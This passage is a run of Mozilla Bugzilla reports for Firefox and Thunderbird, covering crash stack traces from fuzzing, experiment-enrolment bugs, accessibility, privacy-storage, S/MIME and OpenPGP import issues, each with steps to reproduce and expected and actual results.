#7 0x7f57ca04c4d5 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerKind, mozilla::dom::RequestCredentials, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&, nsTString<char16_t>) /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:2639:24
#8 0x7f57ca04bea3 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerKind, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&, nsTString<char16_t>) /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:2549:10
#9 0x7f57ca08b60a in mozilla::dom::RemoteWorkerChild::ExecWorkerOnMainThread(mozilla::dom::RemoteWorkerData&&) /builds/worker/checkouts/gecko/dom/workers/remoteworkers/RemoteWorkerChild.cpp:452:41
#10 0x7f57ca0bf08a in operator() /builds/worker/checkouts/gecko/dom/workers/remoteworkers/RemoteWorkerChild.cpp:307:29
#11 0x7f57ca0bf08a in mozilla::detail::RunnableFunction<mozilla::dom::RemoteWorkerChild::ExecWorker(mozilla::dom::RemoteWorkerData const&)::$_3>::Run() /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:546:5
#12 0x7f57c1e7c3ef in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/checkouts/gecko/xpcom/threads/SchedulerGroup.cpp:114:20
#13 0x7f57c1e8fb79 in mozilla::RunnableTask::Run() /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:539:16
#14 0x7f57c1e86997 in mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:852:26
#15 0x7f57c1e83c18 in mozilla::TaskController::ExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:684:15
#16 0x7f57c1e84340 in mozilla::TaskController::ProcessPendingMTTask(bool) /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:462:36
#17 0x7f57c1e95cb4 in operator() /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:191:37
#18 0x7f57c1e95cb4 in mozilla::detail::RunnableFunction<mozilla::TaskController::InitializeInternal()::$_3>::Run() /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:546:5
#19 0x7f57c1eb8b04 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1197:16
#20 0x7f57c1ec2e04 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:477:10
#21 0x7f57c36448c3 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:107:5
#22 0x7f57c34c3877 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:381:10
#23 0x7f57c34c3877 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374:3
#24 0x7f57c34c3877 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356:3
#25 0x7f57ca945359 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:148:27
#26 0x7f57cf8ee928 in XRE_RunAppShell() /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:742:20
#27 0x7f57c34c3877 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:381:10
#28 0x7f57c34c3877 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374:3
#29 0x7f57c34c3877 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356:3
#30 0x7f57cf8ee0bf in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:675:34
#31 0x5613db728494 in content_process_main(mozilla::Bootstrap*, int, char**) /builds/worker/checkouts/gecko/browser/app/../../ipc/contentproc/plugin-container.cpp:57:28
#32 0x5613db728957 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:353:18
#33 0x7f57e4789d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
```
|
|
1,813,492 | 16,257,984 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Steps to reproduce:
Yuse tab and arrows to navigate the message list, using NVDA screen reader
Actual results:
Since 2023-01-19, the message list behaves differently with screen readers. NVDA only reads the subject column.
Expected results:
All columns are read by NVDA, as they are in earlier versions.
|
|
1,814,092 | 16,260,287 |
**[Notes]:**
- The following error is displayed in the “Browser Console”:
Experiment device-migration-existing-user-survey branch 0 feature infobar does not validate: [
{ “instanceLocation”: “#”, “keyword” : “required”, “error”: “Instance does not have required property \”groups\”.” }
**[Affected versions]:**
- Firefox Release 100.0 - Build ID: 20220428192727, en-* locale
- Firefox Release 103.0 - Build ID: 20220718155818, en-* locale
**[Affected Platforms]:**
- Windows 10x64.
- Windows 11x64
**[Prerequisites]:**
- Have a new Firefox profile created and opened.
- Have the “nimbus.debug” pref set to true on the “about:config” page.
- Have the [“user.js”](https://drive.google.com/file/d/1ofjJgWGUQ81jXKlcsf3fybpWEwzVhptg/view?usp=sharing) file saved on the disk.
**[Steps to reproduce]:**
1. Force enroll in the “Device migration - Existing user ECO2212 EN” experiment : “about:studies?optin_slug=device-migration-existing-user-eco2212-en&optin_branch=treatment-a&optin_collection=nimbus-desktop-experiments”.
2. Restart the browser.
3. Dismiss the Device Migration Spotlights and navigate to the “about:support” page.
4. Open the browser’s Profile Folder and paste the “user.js” file from the prerequisites.
5. Restart the browser.
6. Navigate to the "about:studies" page and observe the listed experiments.
**[Expected results]:**
- The "Device Migration - Existing User Survey" experiment is displayed on the “about:studies” page.
**[Actual results]:**
- The "Device Migration - Existing User Survey" experiment is NOT displayed on the “about:studies” page.
**[Additional Notes]:**
- This issue is reproducible also on the “Treatment B” branch of the experiment.
- This issue is not reproducible starting with Firefox Release 104.
- Attaching [here](https://drive.google.com/file/d/1a50oeLCtWdzNqxcjLRCCXBUy318hzFai/view?usp=sharing) a screen recording of the issue.
|
|
1,814,314 | 16,261,406 |
Created attachment 9315293
testcase.zip
Found while fuzzing m-c 20221212-e6f125e02b6f (--enable-debug --enable-fuzzing)
To reproduce via Grizzly Replay:
```
$ pip install fuzzfetch grizzly-framework
$ python -m fuzzfetch -d --fuzzing -n firefox
$ python -m grizzly.replay ./firefox/firefox testcase.zip
```
Assertion failure: mPresContext->mLayoutPhaseCount[nsLayoutPhase::Paint] == 0 (constructing frames in the middle of a paint), at /builds/worker/checkouts/gecko/layout/base/nsAutoLayoutPhase.cpp:65
```
#0 0x7f5f1b371a04 in nsAutoLayoutPhase::Enter() /builds/worker/checkouts/gecko/layout/base/nsAutoLayoutPhase.cpp:64:7
#1 0x7f5f1b395271 in nsAutoLayoutPhase /builds/worker/checkouts/gecko/layout/base/nsAutoLayoutPhase.cpp:18:3
#2 0x7f5f1b395271 in nsCSSFrameConstructor::ContentAppended(nsIContent*, nsCSSFrameConstructor::InsertionKind) /builds/worker/checkouts/gecko/layout/base/nsCSSFrameConstructor.cpp:6541:3
#3 0x7f5f1b33686e in mozilla::PresShell::ContentAppended(nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:4553:22
#4 0x7f5f179c2b44 in operator() /builds/worker/checkouts/gecko/dom/base/MutationObservers.cpp:162:3
#5 0x7f5f179c2b44 in Notify<(IsRemoval)0, (ShouldAssert)1, (lambda at /builds/worker/checkouts/gecko/dom/base/MutationObservers.cpp:162:3), (lambda at /builds/worker/checkouts/gecko/dom/base/MutationObservers.cpp:162:3)> /builds/worker/checkouts/gecko/dom/base/MutationObservers.cpp:97:5
#6 0x7f5f179c2b44 in mozilla::dom::MutationObservers::NotifyContentAppended(nsIContent*, nsIContent*) /builds/worker/checkouts/gecko/dom/base/MutationObservers.cpp:163:3
#7 0x7f5f17b429e0 in nsINode::InsertChildBefore(nsIContent*, nsIContent*, bool, mozilla::ErrorResult&) /builds/worker/checkouts/gecko/dom/base/nsINode.cpp:1608:7
#8 0x7f5f17b4a423 in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/checkouts/gecko/dom/base/nsINode.cpp:2825:5
#9 0x7f5f180fbf5b in InsertBefore /builds/worker/checkouts/gecko/dom/base/nsINode.h:2065:12
#10 0x7f5f180fbf5b in AppendChild /builds/worker/checkouts/gecko/dom/base/nsINode.h:2072:12
#11 0x7f5f180fbf5b in mozilla::dom::Node_Binding::appendChild(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /builds/worker/workspace/obj-build/dom/bindings/NodeBinding.cpp:997:60
#12 0x7f5f190011d2 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3308:13
#13 0x7f5f1d42d336 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:459:13
#14 0x7f5f1d42cc5f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:547:12
#15 0x7f5f1d41e89f in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:619:10
#16 0x7f5f1d41e89f in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3362:16
#17 0x7f5f1d411f5e in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:431:13
#18 0x7f5f1d42cb5b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:579:13
#19 0x7f5f1d42e08c in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:646:8
#20 0x7f5f1d4e91dc in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/CallAndConstruct.cpp:53:10
#21 0x7f5f16c34250 in nsXPCWrappedJS::CallMethod(unsigned short, nsXPTMethodInfo const*, nsXPTCMiniVariant*) /builds/worker/checkouts/gecko/js/xpconnect/src/XPCWrappedJSClass.cpp:918:17
#22 0x7f5f15e79e52 in PrepareAndDispatch /builds/worker/checkouts/gecko/xpcom/reflect/xptcall/md/unix/xptcstubs_x86_64_linux.cpp:115:37
#23 0x7f5f15e7915a in SharedStub xptcstubs_x86_64_linux.cpp
#24 0x7f5f198de238 in mozilla::dom::TextTrackManager::UpdateCueDisplay() /builds/worker/checkouts/gecko/dom/html/TextTrackManager.cpp:276:19
#25 0x7f5f198e01d3 in mozilla::dom::TextTrackManager::TimeMarchesOn() /builds/worker/checkouts/gecko/dom/html/TextTrackManager.cpp:825:3
#26 0x7f5f19874276 in mozilla::dom::HTMLMediaElement::RunAutoplay() /builds/worker/checkouts/gecko/dom/html/HTMLMediaElement.cpp:6112:26
#27 0x7f5f1b5b64b9 in nsVideoFrame::OnVisibilityChange(mozilla::Visibility, mozilla::Maybe<mozilla::OnNonvisible> const&) /builds/worker/checkouts/gecko/layout/generic/nsVideoFrame.cpp:543:11
#28 0x7f5f1b4f8468 in nsIFrame::IncApproximateVisibleCount() /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:2342:3
#29 0x7f5f1b33e9b2 in mozilla::PresShell::EnsureFrameInApproximatelyVisibleList(nsIFrame*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6287:13
#30 0x7f5f1b4bc733 in nsIFrame::BuildDisplayListForChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&, mozilla::EnumSet<nsIFrame::DisplayChildFlag, unsigned int>) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4208:25
#31 0x7f5f1b457e0d in DisplayLine(mozilla::nsDisplayListBuilder*, nsLineList_iterator&, bool, mozilla::nsDisplayListSet const&, nsBlockFrame*, mozilla::css::TextOverflow*, unsigned int, int, int&) /builds/worker/checkouts/gecko/layout/generic/nsBlockFrame.cpp:7059:13
#32 0x7f5f1b456788 in nsBlockFrame::BuildDisplayList(mozilla::nsDisplayListBuilder*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/nsBlockFrame.cpp:7214:9
#33 0x7f5f1b504ec4 in nsIFrame::BuildDisplayListForSimpleChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4009:11
#34 0x7f5f1b4bc05d in nsIFrame::BuildDisplayListForChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&, mozilla::EnumSet<nsIFrame::DisplayChildFlag, unsigned int>) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4113:5
#35 0x7f5f1b45cf7c in nsCanvasFrame::BuildDisplayList(mozilla::nsDisplayListBuilder*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/nsCanvasFrame.cpp:584:5
#36 0x7f5f1b504ec4 in nsIFrame::BuildDisplayListForSimpleChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4009:11
#37 0x7f5f1b4bc05d in nsIFrame::BuildDisplayListForChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&, mozilla::EnumSet<nsIFrame::DisplayChildFlag, unsigned int>) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4113:5
#38 0x7f5f1b4bfa3a in mozilla::ScrollFrameHelper::BuildDisplayList(mozilla::nsDisplayListBuilder*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/nsGfxScrollFrame.cpp:4332:15
#39 0x7f5f1b504ec4 in nsIFrame::BuildDisplayListForSimpleChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4009:11
#40 0x7f5f1b4bc05d in nsIFrame::BuildDisplayListForChild(mozilla::nsDisplayListBuilder*, nsIFrame*, mozilla::nsDisplayListSet const&, mozilla::EnumSet<nsIFrame::DisplayChildFlag, unsigned int>) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:4113:5
#41 0x7f5f1b42c94d in mozilla::ViewportFrame::BuildDisplayList(mozilla::nsDisplayListBuilder*, mozilla::nsDisplayListSet const&) /builds/worker/checkouts/gecko/layout/generic/ViewportFrame.cpp:66:3
#42 0x7f5f1b5027a1 in nsIFrame::BuildDisplayListForStackingContext(mozilla::nsDisplayListBuilder*, mozilla::nsDisplayList*, bool*) /builds/worker/checkouts/gecko/layout/generic/nsIFrame.cpp:3463:5
#43 0x7f5f1b3cc766 in nsLayoutUtils::PaintFrame(gfxContext*, nsIFrame*, nsRegion const&, unsigned int, mozilla::nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /builds/worker/checkouts/gecko/layout/base/nsLayoutUtils.cpp:3349:15
#44 0x7f5f1b33f321 in mozilla::PresShell::PaintInternal(nsView*, mozilla::PaintInternalFlags) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6463:5
#45 0x7f5f1af29282 in nsViewManager::ProcessPendingUpdatesPaint(nsIWidget*) /builds/worker/checkouts/gecko/view/nsViewManager.cpp:433:18
#46 0x7f5f1af28d7f in nsViewManager::ProcessPendingUpdatesForView(nsView*, bool) /builds/worker/checkouts/gecko/view/nsViewManager.cpp:368:22
#47 0x7f5f1af2a21c in nsViewManager::ProcessPendingUpdates() /builds/worker/checkouts/gecko/view/nsViewManager.cpp:941:5
#48 0x7f5f1b2f95d4 in nsRefreshDriver::Tick(mozilla::layers::BaseTransactionId<mozilla::VsyncIdType>, mozilla::TimeStamp, nsRefreshDriver::IsExtraTick) /builds/worker/checkouts/gecko/layout/base/nsRefreshDriver.cpp:2804:11
#49 0x7f5f1b3080f2 in operator() /builds/worker/checkouts/gecko/layout/base/nsRefreshDriver.cpp:1784:25
#50 0x7f5f1b3080f2 in mozilla::detail::RunnableFunction<nsRefreshDriver::EnsureTimerStarted(nsRefreshDriver::EnsureTimerStartedFlags)::$_1>::Run() /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:546:5
#51 0x7f5f15e2d2e5 in mozilla::RunnableTask::Run() /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:539:16
#52 0x7f5f15e288bc in mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:852:26
#53 0x7f5f15e2748a in mozilla::TaskController::ExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:684:15
#54 0x7f5f15e277e5 in mozilla::TaskController::ProcessPendingMTTask(bool) /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:462:36
#55 0x7f5f15e30be6 in operator() /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:188:37
#56 0x7f5f15e30be6 in mozilla::detail::RunnableFunction<mozilla::TaskController::InitializeInternal()::$_2>::Run() /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:546:5
#57 0x7f5f15e460e5 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1197:16
#58 0x7f5f15e4c40d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:477:10
#59 0x7f5f16a4f2d3 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:85:21
#60 0x7f5f16970ec8 in MessageLoop::RunInternal() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:381:10
#61 0x7f5f16970dd1 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374:3
#62 0x7f5f16970dd1 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356:3
#63 0x7f5f1af903c8 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:148:27
#64 0x7f5f1d1e2cbb in XRE_RunAppShell() /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:742:20
#65 0x7f5f16a50199 in mozilla::ipc::MessagePumpForChildProcess::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:235:9
#66 0x7f5f16970ec8 in MessageLoop::RunInternal() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:381:10
#67 0x7f5f16970dd1 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374:3
#68 0x7f5f16970dd1 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356:3
#69 0x7f5f1d1e2818 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:675:34
#70 0x55e1e4c7ece0 in content_process_main /builds/worker/checkouts/gecko/browser/app/../../ipc/contentproc/plugin-container.cpp:57:28
#71 0x55e1e4c7ece0 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:353:18
#72 0x7f5f29626d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#73 0x7f5f29626e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#74 0x55e1e4c55348 in _start (/home/user/workspace/browsers/m-c-20230131093335-fuzzing-debug/firefox-bin+0x5b348) (BuildId: e895ae0929e70cb9ac9412a3bebaddc87d8b87d8)
```
|
|
1,814,337 | 16,261,586 |
**Notes**
- Does not reproduce in Chrome.
- This reproduces with editor.join_split_direction.compatible_with_the_other_browsers with both true and false values.
**Found in**
- Nightly 110.0a1;
**Affected versions**
- Nightly 110.0a1;
- Firefox 109.0b8;
- Firefox 108.0.1;
**Tested platforms**
- macOS 12;
- Windows 10;
- Ubuntu 22;
**Affected platforms**
- macOS 12;
- Windows 10;
- Ubuntu 22;
**Unaffected platforms**
- N/A;
**Steps to reproduce**
1. Launch Firefox and go to https://mail.yahoo.com
2. Log in with a valid account.
3. Click on "Compose" to open up a new e-mail window.
4. Write 2 phrases, each with different text size, color, etc.
5. Merge the phrases on the same row by hitting Backspace.
6. Type something between the two phrases.
**Expected result**
- Formatting should be taken from the left text block.
**Actual result**
- Formatting is taken from the right text block.
**Regression range**
- Not a regression.
|
|
1,814,404 | 16,262,356 |
Created attachment 9315381
OnboardingFlow_exp_NoChooseLanguage.gif
**[Affected versions]:**
- Firefox Beta 110.0b8 (Build ID: 20230131190033)
**[Affected Platforms]:**
- Windows 10 x64
- Windows 11 x64
**[Prerequisites]:**
- Have the latest version of Firefox Beta 110 installed and opened.
- Have the “nimbus.debug” and “devtools.chrome.enabled” prefs set to “true” in the “about:config” page.
- Have set a different OS language than the browser's one.
**[Steps to reproduce]:**
1. Force enroll in the Treatment C branch of the experiment using the following link: about:studies?optin_slug=window-modal-vs-tab-modal&optin_branch=treatment-c&optin_collection=nimbus-preview
2. Focus the browser console and run the “Cc["@mozilla.org/browser/clh;1"].getService().wrappedJSObject.firstRunProfile = true; Cc["@mozilla.org/browser/browserglue;1"].getService().wrappedJSObject._maybeShowDefaultBrowserPrompt()” syntax.
3. Click the “Skip this step” button from the first modal.
4. Observe the next modal displayed.
**[Expected result]:**
- The “Choose Your Language” modal is displayed.
**[Actual result]:**
- The “Import Data” modal is displayed.
**[Notes]:**
- This issue is also reproducible in the Treatment A and B branches of the experiment.
- This issue is not reproducible on the Control branch of the experiment.
- Attached is a screen recording of the issue.
|
|
1,814,725 | 16,264,542 |
Google meet triggers hangs when drawing hardware decoded video to WebGL on ARM64 macOS. This avoids those hangs by taking a slow path.
|
|
1,814,733 | 16,264,600 |
Steps:
0. Turn off `dom.caches.hide_in_pbmode.enabled` (when bisecting)
1. Open Private Browsing Mode
2. Access https://faz.net
3. Allow cookie access if prompted
4. Scroll down and play an embedded YT video
Expected: No entry should appear with `^privateBrowsing=1` in `/storage/default` in the profile directory.
Actual: It does.
Mozregression shows https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=a7402247dc7e4b5c0a4a173aa08545075a03f481&tochange=cd3007f4be5d49ea21cadf77ef79f8d0aa798b3d, and from there bug 1758745 looks most relevant.
|
|
1,776,869 | 15,962,608 |
**Environment:**
Operating system: Linux (Ubuntu 22.04 LTS)
Firefox version: Nightly 103.0a1 (2022-06-27)
Chrome Version: 103.0.5060.53
**Preconditions:**
ETP set to Standard
Clean profile
**Steps to reproduce:**
1. Go to https://renderpages.blogspot.com
2. Click ""Accept and Continue"" on the disclaimer
3. Scroll down the page
4. Click on ""Post a Comment"" on any post
5. Click on ""SIGN IN WITH GOOGLE"" button
**Expected Behavior:**
The user is redirected to sign in page.
**Actual Behavior:**
Nothing happens when "SIGN IN WITH GOOGLE" button is clicked.
**Notes:**
1. Reproducible regardless of ETP status
2. Not reproducible with ETP turned off
3. Not reproducible on Chrome with ETP on
|
|
1,777,296 | 15,965,107 |
Created attachment 9283452
a2624aced742ee95fc00e8f784f18684213ca547.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Steps to reproduce:
1) start Android Studio emulator
1) make sure Firefox Nightly is installed
1) open any extension source folder (the extension should have a background script) and load it using:
```
web-ext run --target=firefox-android --android-device=emulator-5554 --firefox-apk=org.mozilla.fenix
```
1) open desktop Firefox Nightly and connect to the extension from the `about:debugging` page
1) click the "Inspect" button for the background script of the addon
Actual results:
New tab is opened but it's blank - see the screenshot
Expected results:
Inspecting extension tabs works, also normal pages can be inspected, but not the background script of the addon.
|
|
1,777,336 | 15,965,326 |
Steps to reproduce:
Upgraded to Thunderbird 102 from 91.x.
Mail accounts have associated valid S/MIME certificates from IdenTrust with Client Authentication and E-mail Protection EKUs.
Actual results:
Attempts to send mail messages with S/MIME Signing and no Encryption fails.
Sending of the message failed.
Unable to sign message. Please check that the certificates specified in Mail & Newsgroups Account Settings for this mail account are valid and trusted for mail.
Expected results:
The mail message would be sent signed as it was with TB 91.x
|
|
1,777,419 | 15,965,826 |
Steps to reproduce:
I updated Firefox 101 to 102 on Win10.
Actual results:
In Firefox 102 on Win10 (German version) now the menu checkmark "Delete cookies and website data when closing Firefox" disables itself after browser restart. Instead now the menu "Delete browser history when closing Firefox" falsely enables itself.
This would be a disastrous privacy flaw, because normally people want to keep their browsing history but discard the cookie spy garbage to prevent e.g. personalized too high prices in online shops. However it seems to be that only the menu in the browser settings got messed up but the browser still behaves correctly. I already tried start in safe mode but the bug persists.
Expected results:
Like in FF101 and before, "Delete cookies and website data when closing Firefox" should remember its state and "Delete browser history when closing Firefox" should never turn on by itself.
|
|
1,777,622 | 15,967,155 |
Created attachment 9283762
2022-06-30_18h57_54.png
Steps to reproduce:
View - Font Size - Increase Font Size (3 times)
Settings - General - Incoming Mail - "CUSTOMIZE" button
Actual results:
The text no longer fits in the popup window. The "OK" and "CANCEL" buttons are pushed off the bottom of the window.
Expected results:
Popup window should scale size with the increase in font size
|
|
1,777,683 | 15,967,625 |
Steps to reproduce:
When I reply to all to a mail with both To: and Cc: recipients compose Windows forget originals Cc: recipients. Only To: initial recipients are copied by the compose message windows.
This problem occurs for the first time on version 102 with Linux and Windows versions.
|
|
1,777,738 | 15,967,932 |
Steps to reproduce:
Problem has occurred three times in normal email usage, but I cannot reproduce it at will.
Actual results:
My inbox is short, usually less than 25 messages. Intermittently, after updating to version 102.0, I click on a message and the preview shows the wrong message or displays raw html of some other message. When I right click the Inbox / Properties / Repair, the repair process fixes the problem.
Expected results:
I have been using Thunderbird since Eudora retired, and I have never seen this problem.
|
|
1,778,043 | 15,971,582 |
Created attachment 9284079
before edit.jpg
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Steps to reproduce:
Edit a contact in a CALDAV address book with multiple phone numbers
Correct labels are not shown in edit window, all are shown as NONE
Make a change to something other than phone numbers
Save contact
All labels for contact phone numbers are set to NONE
Actual results:
All previous labels for contact phone numbers are removed.
Expected results:
Labels for contact phone numbers should be shown in the edit window and changed on the contact only if modified in the edit window.
|
|
1,778,509 | 15,975,355 |
Created attachment 9284549
test key generated via sq
Steps to reproduce:
I exported my private key from gpg and tried to import it via "Account Settings".
The key's userID has an 'ė' (U+0117) as part of my last name. I also generated a new "test" key using sequoia (sq key generate --userid "Test ė <test@test>" --export test2.pgp) to make sure it's not something about how the key was exported.
I'm using 102.0.0 from the official Windows installer (I wanted to see the new shiny folder icons).
Actual results:
For the first 20 attempts or so, the message "Error! Failed to import file. TypeError: can't convert the number 279 to element 112 of the type ctypes.uint8_t.array(1953)" showed up. (chr(279) is 'ė' so I assume it's trying to treat the Unicode userid as raw bytes...)
Then, mysteriously, the error message went away and the key was imported – though the "test" key I generated with sequoia still triggers the same error.
Expected results:
The key should have been imported on the first try.
(This used to work in the past, as on another machine I already have my personal key imported without problems.)
|
|
1,778,576 | 15,976,443 |
Steps to reproduce:
Get Messages -> <any pop account configured with oauth2>
Actual results:
message "Host contacted, sending contact information..." appears indefinitely; no email messages are retrieved.
IMAP accounts configured with oauth2, and pop accounts with basic authentication retrieve email as expected.
Expected results:
"Host contacted" message should appear briefly, followed by number of messages retrieved.
|
|
1,768,898 | 15,894,519 |
Created attachment 9276116
index.html
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Steps to reproduce:
I try to save a JSON string in a file, using window.URL.createObjectURL , then passing the ObjectURL to an HTMLAnchorElement with the attribute download set to the desired file name and extension ( see the attached index.html file )
Actual results:
The file is saved but a .json extension is added to the file name and extension so the file have two extensions.
Expected results:
The .json extension must not be added to the file name.
Work fine in Firefox 100 and others browsers.
See also bug 1673061 already created by me for a similar problem in version 84 and solved since.
The actual problem occurs only when the type of the file is 'application/json' (see code in the attached index.html file).
|
|
1,768,903 | 15,894,564 |
STR:
Using Windows 10 and latest Nightly, execute various keyboard shortcuts like Ctrl+H, Ctrl+I, Ctrl+L, Ctrl+Shift+J, Ctrl+Shift+Alt+I and many many more.
AR:
The cursor gets hidden for a second or so.
ER:
IMO it shouln't.
